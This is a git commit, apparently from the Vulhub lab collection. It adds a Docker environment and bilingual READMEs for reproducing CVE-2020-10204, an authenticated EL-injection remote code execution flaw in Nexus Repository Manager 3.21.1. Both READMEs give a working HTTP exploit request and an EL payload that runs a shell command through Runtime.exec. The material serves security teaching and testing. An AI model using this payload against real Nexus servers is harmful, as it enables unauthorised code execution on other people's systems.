first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
nexus/CVE-2020-10204/1.png
Normal file
BIN
nexus/CVE-2020-10204/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 72 KiB |
BIN
nexus/CVE-2020-10204/2.png
Normal file
BIN
nexus/CVE-2020-10204/2.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 8.0 KiB |
55
nexus/CVE-2020-10204/README.md
Normal file
55
nexus/CVE-2020-10204/README.md
Normal file
@@ -0,0 +1,55 @@
|
||||
# Nexus Repository Manager 3 Authenticated Remote Code Execution (CVE-2020-10204)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
|
||||
|
||||
In the version <= 3.21.1, a EL injection vulnerability has been discovered that allows for an attacker with an administrative account on Nexus Repository to execute arbitrary code by crafting a malicious request to Nexus Repository. This issue is patch bypass of CVE-2018-16621.
|
||||
|
||||
References:
|
||||
|
||||
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
|
||||
- https://github.com/jas502n/CVE-2020-10199
|
||||
|
||||
## Vulnerable environment
|
||||
|
||||
Execute following command to start a Nexus Repository Manager version 3.21.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server is started, browse `http://your-ip:8081` to see the home page of Nexus. Login the admin panel with administrator account `admin:admin` and finish the initialize wizard.
|
||||
|
||||
## Exploit
|
||||
|
||||
Copy your cookie and CSRF token then send following request:
|
||||
|
||||
```
|
||||
POST /service/extdirect HTTP/1.1
|
||||
Host: your-ip
|
||||
Content-Length: 223
|
||||
X-Requested-With: XMLHttpRequest
|
||||
X-Nexus-UI: true
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
|
||||
NX-ANTI-CSRF-TOKEN: [csrf-token]
|
||||
Content-Type: application/json
|
||||
Accept: */*
|
||||
Origin: http://192.168.1.3:8081
|
||||
Referer: http://192.168.1.3:8081/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[sessionid]
|
||||
Connection: close
|
||||
|
||||
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
|
||||
```
|
||||
|
||||
As you can see, EL expression `233*233` is executed:
|
||||
|
||||

|
||||
|
||||
Refer to <https://github.com/jas502n/CVE-2020-10199>, use EL expression payload `$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}` to execute command `touch /tmp/success`:
|
||||
|
||||

|
50
nexus/CVE-2020-10204/README.zh-cn.md
Normal file
50
nexus/CVE-2020-10204/README.zh-cn.md
Normal file
@@ -0,0 +1,50 @@
|
||||
# Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)
|
||||
|
||||
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,具有管理员权限的攻击者可以在目标服务器上执行任意命令。这个漏洞是CVE-2018-16621的绕过。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|
||||
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
|
||||
|
||||
## 漏洞环境
|
||||
|
||||
执行如下命令启动Nexus Repository Manager 3.21.1:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
等待一段时间环境才能成功启动,访问`http://your-ip:8081`即可看到Web页面。
|
||||
|
||||
该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码`admin:admin`登录后台。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
登录后台后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
|
||||
|
||||
```
|
||||
POST /service/extdirect HTTP/1.1
|
||||
Host: your-ip
|
||||
Content-Length: 223
|
||||
X-Requested-With: XMLHttpRequest
|
||||
X-Nexus-UI: true
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
|
||||
NX-ANTI-CSRF-TOKEN: [csrf-token]
|
||||
Content-Type: application/json
|
||||
Accept: */*
|
||||
Origin: http://192.168.1.3:8081
|
||||
Referer: http://192.168.1.3:8081/
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Cookie: NX-ANTI-CSRF-TOKEN=[csrf-token]; NXSESSIONID=[session-id]
|
||||
Connection: close
|
||||
|
||||
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
|
||||
```
|
||||
|
||||

|
||||
|
||||
参考<https://github.com/jas502n/CVE-2020-10199>,使用表达式`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}`即可成功执行任意命令:
|
||||
|
||||

|
1
nexus/CVE-2020-10204/admin.password
Normal file
1
nexus/CVE-2020-10204/admin.password
Normal file
@@ -0,0 +1 @@
|
||||
admin
|
9
nexus/CVE-2020-10204/docker-compose.yml
Normal file
9
nexus/CVE-2020-10204/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '3'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/nexus:3.21.1
|
||||
ports:
|
||||
- "8081:8081"
|
||||
- "5005:5005"
|
||||
volumes:
|
||||
- ./admin.password:/nexus-data/admin.password
|
Reference in New Issue
Block a user